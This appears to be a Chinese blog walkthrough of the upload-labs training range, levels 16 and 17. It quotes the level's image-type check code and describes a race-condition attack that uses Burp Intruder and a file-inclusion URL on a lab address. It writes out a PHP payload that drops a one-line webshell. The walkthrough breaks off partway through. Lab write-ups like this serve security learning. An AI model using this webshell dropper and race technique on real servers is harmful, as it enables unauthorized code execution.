upload-labs通关(Pass-16~Pass-21)

目录

Pass-16

Pass-17

Pass-18

Pass-19

Pass-20

Pass-21


Pass-16

这关我也把Pass-14中的三种图片马都试了一下,都是可以上传成功并用蚁剑连接成功的,所以具体步骤这边就不写了,可以参照Pass-14(upload-labs通关(Pass-11~Pass-15)_箭雨镜屋-优快云博客

代码分析:

本关用exif_imagetype()函数来检查文件是否是图片,以及具体是那种类型的图片,并据此决定文件是否可以上传,以及文件的后缀名。

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

注意:

由于本关使用了exif_imagetype()函数,所以需要开启php_exif模块,如果和我一样用的是php_study,可以在网站选项卡中点管理,选php扩展,php_exif前面如果没有勾勾说明没开启,点一下就可以开启了。

Pass-17

本关我尝试了Pass-16的三个payload(.jpeg需要改为.jpg),发现虽然上传都能成功,但是用蚁剑都连接不上,到服务器上看了一下,发现三种图片文件中都不包含php代码了,看来是后端代码对图片做了处理,删掉了php代码,或是删掉了包含php代码的部分。

这种情况有两种方案:

第一种,可以试试对比上传前和上传后的文件之间的差异,如果有未修改的部分,可以试试将一句话插入这一部分;

第二种,如果图片上传后先保存为我们可预知的路径和文件名,然后才进行去除php代码的处理,可以试试条件竞争,不断上传图片,图片中包含写一句话木马文件的php代码,不断利用文件包含漏洞访问图片,触发写一句话木马的语句。

关于第一种方法,我自己是用jpg尝试的,没搞成,好不容易找到没修改的地方,插入php代码之后被判定为不是jpg格式了。关于这种方法,网上找到一篇

upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)

三种图片格式如何操作都描述了,这里就不赘述了。总之遇到这种情况,上传gif是最简单的,可以人工对比。

我自己来试试条件竞争。用条件竞争方法的话,要用burpsuite的intruder模块大量快速上传包含写webshell的语句的图片,同时,在图片被处理之前,快速多次利用文件包含漏洞访问该图片(手速快的话可以手工访问,也可以写脚本,或者用burpsuite的intruder模块访问),触发其执行写webshell的操作。

因此,使用条件竞争方法是有前提条件的:上传的图片被处理之前的文件路径和文件名必须是可预知的。

根据本关代码(为了结构紧凑,放在本关结尾),本关是满足这个条件的,上传后的图片处理前被保存在C:\phpstudy_pro\WWW\upload-labs\upload,并且文件名就是客户端上传的文件名。

下面真的真的开始试条件竞争了(剧透一下,成功了~):

1、上传文件bai-write.jpg,里面有php代码:

<?php file_put_contents('shell.php','<?php @assert($_POST[pass17]);?>'); ?>

2、burpsuite抓到包之后send to intruder

在intruder的positions设置中,不要设置任何注入点

而payloads设置中payload type选择null payloads,payload options中genete后面的空格中填写需要发送多少次报文,我这边只填了100,其实比较少,很考验手速的,建议多填点,1000起步吧

3、点start attack之后,立刻马上抓紧时间,浏览器中利用文件包含漏洞,访问上传后处理前的临时文件:

http://192.168.101.16/upload-labs/include.php?file=./upload/bai-write.jpg

我这边为了快,用了hackbar。(当然,备选方案是用脚本或者burp的intruder模块访问,为什么没用,因为虽然可以,但是没有必要。)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值